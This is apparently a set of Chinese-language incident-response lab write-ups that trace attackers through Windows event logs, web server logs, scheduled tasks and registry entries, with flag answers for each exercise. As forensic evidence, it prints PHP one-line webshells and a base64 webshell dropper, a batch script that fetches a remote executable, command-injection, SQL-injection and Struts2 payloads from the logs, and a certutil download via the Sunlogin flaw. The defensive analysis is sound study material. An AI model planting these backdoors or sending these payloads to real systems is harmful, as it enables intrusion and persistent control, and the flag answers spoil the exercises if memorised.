这样的内容,就意味着当前用户可以在不输入密码的情况下执行任何root命令,这相当于直接拥有了root权限
User deploy may run the following commands on ip-10-0-10-3: (ALL : ALL) NOPASSWD: ALL
这一行的意思是:用户 deploy
可以在该主机上无需密码(NOPASSWD
)地以任何用户(第一个ALL
)的身份运行任何命令(第二个ALL
)
这就是一个典型的、极其危险的sudo配置错误,攻击者利用它可以直接获得root权限(例如通过执行 sudo su
或 sudo bash
)
完整的配置规则是:
deploy ALL=(ALL : ALL) NOPASSWD: ALL
deploy
:用户名ALL=(ALL : ALL) NOPASSWD: ALL
:这就是等于号后面的全部内容。
flag{(ALL : ALL) NOPASSWD: ALL}
Windows
Windows应急-应急与研判训练计划 一
网络连接查看端口;brim和zui工具的使用;端口被攻击的溯源方式;事件查看
服务器场景操作系统 Windows
服务器账号密码 administrator P@ssw0rd
题目来源公众号 ©州弟学安全
任务环境说明
这是某单位正常运行的主机,但由于安全防范意识不到位,导致系统被攻击。目前已知攻击者成功接管了系统。
需要通过上机排查,利用开放的服务快速识别攻击者的操作、最终攻击成功的方法以及接管成功的IP。相关工具和全程流量数据已放置在桌面中。
1. 你需要根据环境内的所有工具和文件,附件等,根据应急响应形式快速排查出攻击者的所有行为
2. 你需要排查出攻击者最后利用成功的漏洞以及利用成功IP进行整理
3. 你需要自己按照攻击者思路写一份攻击者大概的攻击思路或攻击流程图
4. 你可以借助一切工具,你可以把它当作实战,这里没有任何约束条件
注:样本请勿在本地运行!!!样本请勿在本地运行!!!样本请勿在本地运行!!!
应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件,请上机排查
开放题目
漏洞修复
请找出攻击者攻击成功的端口,如多个端口,则从小到大{x,x,x,}
请找出攻击者上传的恶意文件名
请找出攻击者最终攻击成功的端口
请找出攻击者最终攻击成功端口的IP
请找出攻击者最后接管服务器的IP
win+R输入mstsc进行连接
查看网络连接
netstat -nao
协议 本地地址 外部地址 状态 PID
TCP 0.0.0.0:21 0.0.0.0:0 LISTENING 3936
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING 864
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:3306 0.0.0.0:0 LISTENING 3708
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING 328
TCP 0.0.0.0:5357 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:8080 0.0.0.0:0 LISTENING 4664
TCP 0.0.0.0:8080 0.0.0.0:0 LISTENING 4588
TCP 0.0.0.0:8080 0.0.0.0:0 LISTENING 4816
TCP 0.0.0.0:8080 0.0.0.0:0 LISTENING 4732
TCP 0.0.0.0:47001 0.0.0.0:0 LISTENING 4
TCP 0.0.0.0:49664 0.0.0.0:0 LISTENING 528
TCP 0.0.0.0:49665 0.0.0.0:0 LISTENING 1068
TCP 0.0.0.0:49666 0.0.0.0:0 LISTENING 1528
TCP 0.0.0.0:49667 0.0.0.0:0 LISTENING 2220
TCP 0.0.0.0:49668 0.0.0.0:0 LISTENING 2524
TCP 0.0.0.0:49669 0.0.0.0:0 LISTENING 636
TCP 0.0.0.0:49670 0.0.0.0:0 LISTENING 2412
TCP 0.0.0.0:49671 0.0.0.0:0 LISTENING 616
TCP 10.0.10.1:139 0.0.0.0:0 LISTENING 4
TCP 10.0.10.1:3389 116.128.229.225:59669 ESTABLISHED 328
TCP 10.0.10.1:49914 185.199.109.153:443 SYN_SENT 1980
TCP 10.0.10.1:49915 20.205.243.168:443 SYN_SENT 6472
TCP 10.0.10.1:49916 20.109.210.53:443 SYN_SENT 1824
TCP 10.0.10.1:49917 43.192.162.42:443 SYN_SENT 6420
TCP 10.0.10.1:49918 23.218.210.69:80 SYN_SENT 280
TCP 127.0.0.1:9000 0.0.0.0:0 LISTENING 3956
TCP 127.0.0.1:9001 0.0.0.0:0 LISTENING 2764
TCP 127.0.0.1:14147 0.0.0.0:0 LISTENING 3936
TCP [::]:21 [::]:0 LISTENING 3936
TCP [::]:80 [::]:0 LISTENING 4
TCP [::]:135 [::]:0 LISTENING 864
TCP [::]:445 [::]:0 LISTENING 4
TCP [::]:3306 [::]:0 LISTENING 3708
TCP [::]:3389 [::]:0 LISTENING 328
TCP [::]:5357 [::]:0 LISTENING 4
TCP [::]:5985 [::]:0 LISTENING 4
TCP [::]:47001 [::]:0 LISTENING 4
TCP [::]:49664 [::]:0 LISTENING 528
TCP [::]:49665 [::]:0 LISTENING 1068
TCP [::]:49666 [::]:0 LISTENING 1528
TCP [::]:49667 [::]:0 LISTENING 2220
TCP [::]:49668 [::]:0 LISTENING 2524
TCP [::]:49669 [::]:0 LISTENING 636
TCP [::]:49670 [::]:0 LISTENING 2412
TCP [::]:49671 [::]:0 LISTENING 616
TCP [::1]:14147 [::]:0 LISTENING 3936
UDP 0.0.0.0:123 *:* 2820
UDP 0.0.0.0:500 *:* 2404
UDP 0.0.0.0:3389 *:* 328
UDP 0.0.0.0:3702 *:* 6484
UDP 0.0.0.0:3702 *:* 6484
UDP 0.0.0.0:4500 *:* 2404
UDP 0.0.0.0:5353 *:* 1404
UDP 0.0.0.0:5355 *:* 1404
UDP 0.0.0.0:50041 *:* 6484
UDP 10.0.10.1:137 *:* 4
UDP 10.0.10.1:138 *:* 4
UDP 127.0.0.1:49664 *:* 2984
UDP [::]:123 *:* 2820
UDP [::]:500 *:* 2404
UDP [::]:3389 *:* 328
UDP [::]:3702 *:* 6484
UDP [::]:3702 *:* 6484
UDP [::]:4500 *:* 2404
UDP [::]:5353 *:* 1404
UDP [::]:5355 *:* 1404
UDP [::]:50042 *:* 6484
所有 IP(0.0.0.0)监听意味着公网暴露
0.0.0.0
意味着监听所有网卡,包括外网 IP,如果没有设置防火墙或访问控制规则,这些服务可以被全世界扫描并尝试连接。
21(FTP):
- FTP 明文传输用户名和密码,容易被抓包。
- 很多自动化攻击工具专门扫描此端口进行弱口令爆破。
3389(RDP,远程桌面):
- 远程桌面是黑客常用的攻击目标,暴露此端口极易被爆破或利用已知漏洞(如 BlueKeep)。
- 日志中看到有远程 IP(
116.128.229.225
)已建立连接,说明 RDP 正在被使用或已被连接。
8080(常用于 Web 服务):
- 虽不是默认 HTTP 端口(80),但通常运行的是一些 Web 应用(如 Tomcat),许多 Web 漏洞扫描器会主动探测该端口。
- 机器上有多个进程监听该端口(可能是多个应用),更易成为攻击面。
这里看题解学着用brim和zui来分析流量包
关于流量分析软件brim最新安装方法_brim安装-CSDN博客
这个博客介绍了如果安装和使用
命令过滤
count() by http, uri, status_code, method | method=="POST" | status_code==200
发现了web的登陆界面,去流量包里过滤分析
http.request.uri contains "/dede/login.php"
发现都是200成功的,所以8080被攻击
使用Zui查看rdp连接的次数及其IP地址(RDP(远程桌面协议)常用于远程管理服务器)
可以发现有两个ip,去流量包过滤
ip.src==192.168.18.133&&tcp.port==3389
这里可以发现从时间戳可见,在 不到 1 秒内发送了大量连接请求,并且多次重复出现了:
RDP Cookie: mstshash:Administrator, Negotiate Request
意味着攻击者正在尝试使用 Administrator
账号进行登录
每次 RDP 会话尝试可能使用不同密码 ⇒ 爆破特征
上图中出现的红色数据,是断开连接的请求,上面的数据都是爆破的请求,所以说它登录成功了
所以3389也被攻击成功了
过滤:
count() by _path,id.orig_h|_path=="ftp"
去流量包查看并过滤:
ip.src==192.168.18.133 && tcp.port==21
追踪流:
登陆成功:
USER admin
331 Password required for admin
PASS password
230 Logged on
所以端口21也被攻击成功了
flag{21,3389,8080}
桌面有小皮,打开查看nginx得到日志
日志里面基本都是192.168.18.133,基本可以确定攻击者就是这个
在最后访问了phpinfo但是403失败了,恶意文件应该就是newfile1.php,去找一下
这是一个 高度混淆的 PHP 后门代码片段(shellcode)
去事件查看器找登陆成功的事件,ID是4624
将事件另存为新文件,后缀为evtx
打开桌面的FullEventLogView,打开刚刚另存的文件
这里需要到高级选项中显示所有项目事件
可以发现有kali登陆成功了,所以可以知道攻击者ip就是192.168.18.133
并且在kali登陆成功后面接着还有一个事件,说明它是最后一个接管服务器的IP,攻击者最终攻击成功的端口为3389
请找出攻击者攻击成功的端口,如多个端口,则从小到大{x,x,x,}
flag{21,3389,8080}
请找出攻击者上传的恶意文件名
flag{newfile1.php}
请找出攻击者最终攻击成功的端口
flag{3389}
请找出攻击者最终攻击成功端口的IP
flag{192.168.18.133}
请找出攻击者最后接管服务器的IP
flag{192.168.18.1}
第四章-windows日志分析
总结:日志分析ip行为;事件查看器查看登陆失败、登陆成功和显式凭据登录;查看所有用户命令;D盾和注册表查看影子账号;netstat查看网络情况;注册表查看自启动;计划任务;微云沙箱
服务器场景操作系统 Windows7
服务器账号密码:winlog/winlog123
连接端口为:ip:3389
按照题目提示可以根据系统功能分析,或桌面工具进行辅助分析
注意:远控软件内IP为虚拟IP,如在进行进程中没有找到相关外连,应该是由于连接超时造成的断开了,重启环境服务器或软件即可继续对外发起请求,请见谅
注意:题目中shell如需在本地分析,提前关闭杀毒软件,会被杀掉,非免杀
注意:winlog用户在操作关于系统权限功能时,一定要使用管理员权限打开工具再去执行
如:cmd直接打开则可能无法进行操作系统权限性操作,需右击cmd-使用管理员权限打开,才可以,其它工具也如此
题目描述:
某台Windows服务器遭到攻击者入侵,管理员查看发现存在大量rdp爆破的请求,攻击者使用了不同位置的IP(此处模拟),进行爆破并成功,并成功进入了系统,进入系统后又做了其它危害性操作,请根据各题目完成填写
题目来源公众号 州弟学安全
文档:https://mp.weixin.qq.com/s/eJpsOeaEczcPE-uipP7vCQ
任务环境说明
本次环境来自大赛+实战等环境,思路和灵感感谢Zeal大哥提供,基本围绕应急响应中重要的几点去排查
环境仅供学习思路和参考,答案不重要,思路最重要
开放题目
windows远程桌面连接:mstsc
审计桌面的logs日志,定位所有扫描IP,并提交扫描次数
找到桌面的日志文件开始分析,这里用notepad++
按 Ctrl+H
打开替换对话框
在"查找内容"输入:
^.*?(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b).*?$
在"替换为"输入:
$1
选择"正则表达式"模式
点击"全部替换",得到:
去除重复行得到:
127.0.0.1
192.168.150.1
192.168.150.60
192.168.150.33
192.168.150.67
我们要先观察哪些是黑客ip
第一个是回环地址
192.168.150.33这个·用了nmap扫描,可以确定为黑客ip
54次
192.168.150.67,很明显的一句话木马
6331次,加起来就是6385次
flag{6835}
审计相关日志,提交rdp被爆破失败次数
看远程登陆失败次数,可以去事件查看器里面筛选登陆失败的,事件id是4625,我们过滤可以看到事件数为2594
flag{2594}
审计相关日志,提交成功登录rdp的远程IP地址,多个以&连接,以从小到大顺序排序提交
这个是统计成功的,也是在事件查看器里面过滤,事件id是4624,这里我导出文件拿去桌面自带的FullEventLogView工具分析了,但是没有得到完全的ip(这里算记一种方法)
导出:
打开:
单击查看:
后来看博客说可以直接筛选4648,这个事件id代表显式凭据登录,就是输入用户名和密码进行登录,这个在远程登录的情况下非常常见
过滤一个个看
flag{192.168.150.1&192.168.150.128&192.168.150.178}
提交黑客创建的隐藏账号
命令:
wmic useraccount get Name
在 Windows 命令行(CMD)中使用 WMIC 工具 查看当前系统中所有本地用户账户名的命令
我们可以看待哦有个hacker$和hackers$,其中hacker$就是黑客创建的隐藏账号,hackers$就是影子账号
flag{hacker$}
提交黑客创建的影子账号
什么是影子账号?
下面是参考文章的原话
影子用户,也叫隐藏用户,是在操作系统中存在但不会出现在常规用户管理工具中的账户。这类账户通常是为了在不被发现的情况下维持对系统的访问权限而创建的。它们不会显示在 Windows 的常规用户界面中(例如 lusrmgr.msc 或者 控制面板 的用户管理界面),因此更难被发现。
影子用户的作用和使用场景:
持久化后门:
黑客创建影子用户是为了在系统中建立一个持久化的后门,防止管理员发现并删除他们的恶意账户。
通过这个影子用户,黑客可以在日后继续访问系统,即使管理员已经删除了其他可见的账户。
规避检测:
因为影子用户不会出现在常规的用户列表中,使用系统的工具如 net user 或 lusrmgr.msc 时,这些账户不容易被发现。
系统管理员可能不会意识到系统中存在额外的账户,这使得黑客的行为更加隐秘。
提升权限:
影子用户通常具有管理员权限,黑客可以利用这些账户在系统中执行各种高级操作,如安装恶意软件、窃取数据或篡改系统配置。
避免被删除:
一些影子用户可能被设计为在常规清理过程中不被删除,或者重新创建,即使管理员尝试清除恶意账户,这种隐藏用户依然会存在。
如何创建影子用户:
黑客可以通过多种方式创建影子用户,通常包括:
修改注册表:通过编辑注册表中的特定键,隐藏某些用户账户。
操作系统命令:使用命令行创建具有管理员权限的隐藏用户,并设置相关策略使其不显示在登录界面或用户管理工具中。
篡改系统文件:修改系统文件或 DLL 文件,使得账户管理工具不显示某些账户。
影子用户的风险:
隐蔽性强:影子用户在常规用户管理工具中不可见,这使得它们的存在不容易被察觉。
持久性威胁:如果影子用户未被检测到,黑客可以长期保持对系统的访问权,并进行进一步的攻击操作。
难以清除:在影子用户不被发现的情况下,系统很难完全移除恶意攻击者的后门。
总结:
影子用户是黑客常用的持久化后门技术,利用它可以在系统中长期隐匿存在,从而规避检测并维持对系统的访问权限。对于管理员来说,检测并清理影子用户至关重要,需要借助更高级别的分析工具,例如查看注册表或分析事件日志,才能发现这些隐藏的账户。
上一题得到的影子账号看博客说是非预期解
这里可以用d盾里面的克隆检测来查看黑客创建的账号和影子账号
还有就是查看注册表位置:HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
提交远程shell程序的连接IP+端口,以IP:port方式提交
查看网络情况
netstat -nao
这里预期会显示可疑的ip,看博客说除了这个也可以通过计划任务来找,通过看计划任务来找有没有可疑的shell然后丢到沙箱去分析ip
去计划任务看看
有一个下载的,下载的程序叫做xiaowei.exxe,通过后缀也可以判断出这个是为了防止被查杀,我们去找一下在哪里,注意搜的时候后缀是exe
找到了,我们保存一下拿去沙箱,察看网络行为
可以知道ip和端口是
flag{185.117.118.21:4444}
还有一种方法就是去注册表找自启动
自启动目录:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
里面也会显示下载的程序
黑客植入了一个远程shell,审计相关进程和自启动项提交该程序名字
根据上一题就知道是xiaowei.exe了
flag{xiaowei.exe}
黑客使用了计划任务来定时执行某shell程序,提交此程序名字
这里说的应该就是之前我们在计划任务里面看到的那个下载任务,我们再返回去看
点击操作
可以看到路径
我们找到它查看
@echo off
:loop
echo Requesting download from 185.117.118.21:1111/xiaowei.exe...
start /b powershell -Command "Invoke-WebRequest -Uri 'http://185.117.118.21/xiaowei.exe' -OutFile 'C:\Windows\system64\systemWo\xiaowei.exe'"
timeout /t 300 /nobreak >nul
goto loop
博客原话:
简单分析一下;
这段批处理脚本(.bat 文件)是一个自动循环的任务,用于定期从特定的服务器下载一个名为 xiaowei.exe 的文件。脚本通过 Invoke-WebRequest 命令从远程 IP 地址 185.117.118.21 的指定端口 1111 上获取文件,并将其保存到本地的指定目录。
详细分析:
@echo off
隐藏命令行输出,防止命令的内容显示在控制台中,保持界面的整洁。
:loop
这是一个标签,标记了脚本循环的开始位置。goto 命令会跳转到该标签,从而形成一个循环。
echo Requesting download from 185.117.118.21:1111/xiaowei.exe...
每次循环开始时,显示一条信息,告知正在请求从指定的远程 IP 下载文件。
start /b powershell -Command "Invoke-WebRequest -Uri 'http://185.117.118.21/xiaowei.exe' -OutFile 'C:\Windows\system64\systemWo\xiaowei.exe'"
使用 PowerShell 的 Invoke-WebRequest 命令从远程服务器下载文件:
http://185.117.118.21:1111/xiaowei.exe 是文件的下载 URL。
C:\Windows\system64\systemWo\xiaowei.exe 是文件保存到本地的路径。
start /b 会在后台运行该命令,避免阻塞脚本的执行。
timeout /t 300 /nobreak >nul
设置脚本等待 300 秒(5 分钟),在此期间不会中断。>nul 表示抑制命令的输出,不显示倒计时。
goto loop
命令将脚本跳回到 :loop 标签处,重新执行下载请求,形成一个无限循环。
总结:
这个脚本定期(每 5 分钟)尝试从远程服务器 185.117.118.21 的端口 1111 下载一个名为 xiaowei.exe 的文件,并将其保存到本地的 C:\Windows\system64\systemWo\ 目录中。
flag{download.bat}
参考文章:玄机——第四章-windows日志分析 wp-CSDN博客
第四章 windows实战-emlog
总结:phpstudy日志分析;隐藏用户;挖矿程序查找
服务器场景操作系统 Windows
服务器账号密码 administrator xj@123456
题目来源公众号 知攻善防实验室
https://mp.weixin.qq.com/s/89IS3jPePjBHFKPXnGmKfA
任务环境说明
注:样本请勿在本地运行!!!样本请勿在本地运行!!!样本请勿在本地运行!!!
应急响应工程师小王某人收到安全设备告警服务器被植入恶意文件,请上机排查
开放题目
漏洞修复
参考
https://mp.weixin.qq.com/s/1gebC1OkDgtz4k4YtN10dg
通过本地 PC RDP到服务器并且找到黑客植入 shell,将黑客植入 shell 的密码 作为 FLAG 提交;
桌面有小皮,我们进去查看日志
可以发现有一个ip一直在上传shell.php文件,我们去相对应的目录下面查看
小皮的文件目录是www
发现shell和密码
flag{rebeyond}
通过本地 PC RDP到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交;
这个通过上一题的日志也能够知道就是一直上传文件的那个
flag{192.168.126.1}
通过本地 PC RDP到服务器并且分析黑客的隐藏账户名称,将黑客隐藏账户名称作为 FLAG 提交;
这个直接用通用命令:
wmic useraccount get Name
可以发现有一个hacker138
flag{hacker138}
通过本地 PC RDP到服务器并且分析黑客的挖矿程序的矿池域名,将黑客挖矿程序的矿池域名称作为(仅域名)FLAG 提交;
既然知道了黑客用户,我们去对应的用户目录下面查看,发现挖矿程序
图标是用pyinstaller打包,使用pyinstxtractor进行反编译
得到的pyc文件再拿去反编译
矿池域名是wakuang.zhigongshanfang.top
flag{wakuang.zhigongshanfang.top}
第四章 windows实战-向日葵
总结:日志分析;向日葵CVE-2022-10270漏洞;RSA解密;AES解密
第四章 windows实战
Administrator xj@123456
通过本地 PC RDP到服务器并且找到黑客首次攻击成功的时间为 为多少,将黑客首次攻击成功的时间为 作为 FLAG 提交(2028-03-26 08:11:25.123);
桌面有向日葵,并且根据题目可以知道就是分析这个,直接到目录下面的日志进行查看
在日志下面翻一点点就可以发现可疑之处
我们看一小部分
1、路径遍历攻击(Directory Traversal):
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh
尝试利用 ../
跳转目录,访问系统文件(如 /bin/sh
)
2、尝试通过参数注入 SQL 语句:
/plus/ajax_officebuilding.php?act=key&key=錦%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5(204167822),5,6,7,8,9%23
解码后是
錦' a<>nd 1=2 un<>ion sel<>ect 1,2,3,md5(204167822),5,6,7,8,9#
攻击者试图绕过过滤,执行 UNION SELECT
查询
3、尝试执行系统命令:
/manager/radius/server_ping.php?ip=127.0.0.1|cat%20/etc/passwd%20>../../Test.txt
攻击者试图读取 /etc/passwd
(Linux 用户信息)并写入文件
4、尝试写入 PHP WebShell:
/manager/radius/server_ping.php?ip=127.0.0.1|echo%20"<?php%20echo%20md5(oecttifkhu);unlink(__FILE__);?>">../../oecttifkhu.php
echo "<?php echo md5(oecttifkhu);unlink(__FILE__);?>" > ../../oecttifkhu.php
其他漏洞探测
-
JBoss 漏洞:
/jbossmq-httpil/HTTPServerILServlet
-
Nacos 未授权访问:
/nacos/
-
Druid 未授权访问
/druid/indexer/v1/sampler?for=connect
-
Apache Struts2 漏洞:
/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/
解码后是 Struts2 OGNL 表达式注入(可执行任意命令)。
这里看题解是这部分
博客原文:
/pages/createpage-entervariables.action?SpaceKey=x:
描述:这个请求看起来像是针对某个网页应用框架的攻击尝试,可能是针对 Confluence 的命令注入。
参数:
SpaceKey=x:攻击者尝试通过设置某个参数来利用该漏洞。
目标:通过设置不安全的参数值,可能会导致服务器执行恶意代码或命令。
/CFIDE/administrator/enter.cfm?locale=…/…/…/…/…/…/…/lib/password.properties%00en:
描述:这是一个目录遍历攻击,它试图通过操纵路径来访问敏感文件。
参数:
locale=../../../../../../../lib/password.properties%00en:攻击者使用了目录遍历 (../../../../../../../) 和空字符 (%00) 来访问本不应公开的 password.properties 文件。
目标:读取或修改配置文件,可能包含敏感信息如密码。
/mailsms/s?func=ADMIN
&dumpConfig=/:
描述:这个请求试图利用一个功能(可能是一个管理功能)来获取系统配置信息。
参数:
func=ADMIN:appState&dumpConfig=/:这个参数组合看起来像是试图调用一个管理命令 (ADMIN:appState) 并将配置信息导出。
三个URL分析下来发现是尝试在利用CNVD-2022-10207:向日葵远程控制软件 RCE 漏洞
向日葵远程控制软件(Sunlogin)的 RCE(远程代码执行)漏洞 是指攻击者能够通过构造恶意请求,在目标系统上执行任意命令的高危漏洞。这类漏洞通常由 身份认证绕过、反序列化缺陷 或 接口未授权访问 引发。
CVE-2022-10270(最经典漏洞)
-
漏洞类型:未授权访问 + 命令注入
-
影响版本:向日葵个人版 ≤ 11.0.0.33(2022年3月前版本)
-
攻击原理:
-
向日葵默认开放
49724
端口,其/cgi-bin/rpc
接口的action=verify-haras
参数存在认证绕过。 -
攻击者可构造恶意请求直接执行系统命令,例如:
http://目标IP:49724/cgi-bin/rpc?action=verify-haras&command=whoami
-
漏洞利用工具(如 SunloginRCE)可自动化攻击。
-
开头这一部分没有发现黑客攻击成功,只是尝试利用,我们继续往下面翻,在快结尾的地方发现了
2024-03-26 10:16:25.585 - Info - [Acceptor][HTTP] new RC HTTP connection 192.168.31.45:64247, path: /check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami, version: HTTP/1.1
2024-03-26 10:16:25.585 - Info - [Acceptor][HTTP] new RC HTTP connection 192.168.31.45:64247,/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+whoami, plugin:check, session:dmPqDgSa8jOYgp1Iu1U7l1HbRTVJwZL3
这些路径和命令表明黑客正在尝试通过路径遍历攻击来访问并执行PowerShell命令,这些命令的目的是验证是否能够成功执行系统命令。whoami
命令用于查看当前执行命令的用户,pwd
命令用于查看当前工作目录。
虽然日志中没有显示命令的具体返回结果,但多次的连接请求和特定路径命令的使用表明攻击者在测试和确认命令执行的有效性。尤其是执行whoami
和pwd
命令,这通常是攻击者在初步获取访问权限后进行的操作,以确认他们的权限级别和工作目录
flag{2024-03-26 10:16:25.585}
通过本地 PC RDP到服务器并且找到黑客攻击的 IP 为多少,将黑客攻击 IP 作为 FLAG 提交;
通过上一题的分析可以很快知道黑客ip就是:192.168.31.45
flag{192.168.31.45}
通过本地 PC RDP到服务器并且找到黑客托管恶意程序 IP 为,将黑客托管恶意程序 IP 作为 FLAG 提交;
在第一题的下面一点发现了:
check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+certutil+-urlcache+-split+-f+http%3A%2F%2F192.168.31.249%2Fmain.exe
check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+certutil+-urlcache+-split+-f+http%3A%2F%2F192.168.31.249%2Fmain.exe, plugin:check, session:sobGzXzWBfSlSbdqnmkUbJMLEjhssRx1
解码好看一点:
check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe certutil -urlcache -split -f http://192.168.31.249/main.exe
check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe certutil -urlcache -split -f http://192.168.31.249/main.exe, plugin:check, session:sobGzXzWBfSlSbdqnmkUbJMLEjhssRx1
攻击者正在尝试利用 路径遍历漏洞 结合 PowerShell 和 Certutil 工具,从远程服务器下载恶意文件(main.exe
)并执行
组件 | 说明 |
---|---|
路径遍历 | 利用 ../ 返回上级目录,访问系统敏感路径(如 C:\Windows\System32 )。 |
PowerShell | Windows 强大的脚本工具,攻击者常用它执行隐蔽操作(如下载、内存加载恶意代码)。 |
Certutil | 微软合法工具,但常被滥用下载文件(防御软件可能不会拦截)。 |
192.168.31.249 |
攻击者的内网服务器,存放恶意文件(需封禁此IP)。 |
flag{192.168.31.249}
找到黑客解密 DEC 文件,将黑客DEC 文件的 md5 作为 FLAG 提交;
这个跟着题解找到了qq群
群文件里面有个DEC
下载是一个私钥,我们进行md5计算
flag{54a0369176b3f3de1fea20b604a16d49c4e6b5a2}
通过本地 PC RDP到服务器并且解密黑客勒索软件,将桌面加密文件中关键信息作为 FLAG 提交;
桌面的txt文件打开,提示我们加密了
DEC文件是个私钥,那么可以联想到RSA,拿去解密
得到密钥,再是AES解密(这个是真想不到
初始向量是十六个零
flag{EDISEC_15c2e33e-b93f-452c-9523-bbb9e2090cd1}
第四章 windows实战-wordpress
总结:日志分析;Fuzz Faster U Fool;D盾;沙箱
第四章 windows实战-wordpress
rdp 端口 3389
administrator xj@123456
请提交攻击者攻击成功的第一时间,格式:flag
在桌面发现了小皮。进去查看日志
这里apache的日志没有东西,我们看nginx的
日志的前面部分只能表明有攻击意图,因为只是访问,后续的大部分都是在用工具爆破,我们继续往下面翻
这里注意到了有欢迎界面,一般是登陆成功后会显示的界面,并且后续攻击者也执行了whoami这个命令,一般是登录成功或者拿到权限之后会执行的命令,用来检查是否已经成功登录或者拿到权限,所以可以攻击成功的第一时间
flag{2023:04:29 22:45:23}
请提交攻击者的浏览器版本 flag
这里也可以直接在上一题的后面一点可以看到
flag{Firefox/110.0}
请提交攻击者目录扫描所使用的工具名称
在日志的中间我们可以看到爆破行为
可以看到工具名字和版本:Fuzz Faster U Fool v1.5.0
Fuzz Faster U Fool (ffuf) 是一个快速 Web Fuzz 工具,用来对网站进行目录扫描、参数 fuzz、爆破等测试。
flag{Fuzz Faster U Fool}
找到攻击者写入的恶意后门文件,提交文件名(完整路径)
在日志可以发现一个x.php
我们到文件目录www下面查看
<?php @eval($_REQUEST['x']); ?>
典型的 一句话后门,它的作用是远程执行任意PHP代码,
$_REQUEST['x']
:- 从请求里获取
x
参数的值; $_REQUEST
会包含 GET、POST、COOKIE 三种来源(默认配置下),意味着攻击者可以通过这三种任意方式传值。
- 从请求里获取
flag{C:\phpstudy_pro\WWW\.x.php}
找到攻击者隐藏在正常web应用代码中的恶意代码,提交该文件名(完整路径)
直接用d盾扫了,发现一个内藏后门
<?php @file_put_contents('.x.php',base64_decode('PD9waHAgQGV2YWwoJF9SRVFVRVNUWyd4J10pOyA/Pg=='));?>
分析:
-
@file_put_contents('.x.php', base64_decode(...))
:- 作用:在当前目录下生成一个隐藏文件
.x.php
。
- 作用:在当前目录下生成一个隐藏文件
-
base64_decode('PD9waHAgQGV2YWwoJF9SRVFVRVNUWyd4J10pOyA/Pg==')
:-
解码后是:
<?php @eval($_REQUEST['x']); ?>
-
意思:
.x.php
文件中写入了一个 WebShell 后门,任何访问.x.php
时带上x
参数即可远程执行任意 PHP 代码。
-
flag{C:\phpstudy_pro\WWW\usr\themes\default\post.php}
请指出可疑进程采用的自动启动的方式,启动的脚本的名字 flag
这个在windows目录下面找到了一个360.exe,非常突兀,因为并没有安装什么360
拿去沙箱
是木马文件,题目问的是启动脚本,在同目录下面还有一个x.bat,查看
确实是这个程序的启动脚本
flag{x.bat}
第五章 Windows 实战-evtx 文件分析
总结:事件ID
服务器场景操作系统 None
点击下载附件获取附件
任务环境说明
注:样本请勿在本地运行!!!样本请勿在本地运行!!!样本请勿在本地运行!!!
应急响应工程师在收到设备告警后,在受到攻击的服务器保存了一份log 请你协助分析 LOG 文件提交对应的 FLAG
开放题目
漏洞修复
参考
EVTX(Event Log File) 是 Windows 操作系统存储 事件日志(Event Logs) 的二进制文件格式,用于记录系统、应用程序、安全等相关事件
1.将黑客成功登录系统所使用的IP地址作为Flag值提交;
三个文件,问的是成功登录那么可以想到筛选事件ID4624来查看登录成功的事件,只有在安全那个文件中筛选才有,我们筛选查找
找到了一个但是后续还有很多事件,一个个查看很麻烦,我们将筛选过的事件另存为txt文件
去notepad++用正则表达式进行过滤
\b(?:\d{1,3}\.){3}\d{1,3}\b
有两个ip,去尝试提交会发现是192.168.36.133
flag{192.168.36.133}
2.黑客成功登录系统后修改了登录用户的用户名,将修改后的用户名作为Flag值提交;
事件ID4738是用户账户属性被修改(如密码重置、权限变更),我们筛选,这个需要到系统那个文件里面
flag{Adnimistartro}
3.黑客成功登录系统后成功访问了一个关键位置的文件,将该文件名称(文件名称不包含后缀)作为Flag值提交;
事件ID4663记录对象访问尝试的安全审计事件,特别是文件和目录的访问尝试
在安全文件中,过滤之后还是有很多,我们另存txt文件
cat 1.txt | grep -E '对象名:\s*(\w:\\[^ ]+)' | sort | uniq -c | sort -nr
grep -E '对象名:\s\*(\w:\\[^ ]+)'
- 作用:使用 正则表达式 匹配包含
对象名:
的行,并提取 文件路径。 - 选项:
-E
:启用 扩展正则表达式(ERE)(支持()
分组和+
量词)。
- 正则解析:
对象名:\s*
:匹配对象名:
后跟任意空白字符(\s*
)。(\w:\\[^ ]+)
:\w:
:匹配盘符(如C:
、D:
)。\\
:匹配反斜杠(Windows 路径分隔符)。[^ ]+
:匹配 非空格字符(即文件路径,如\Windows\System32\cmd.exe
)
访问次数最多的是SCHEMA.DAT,并且还贴心的告诉了我们不需要后缀,那么铁定就是这个了
flag{SCHEMA}
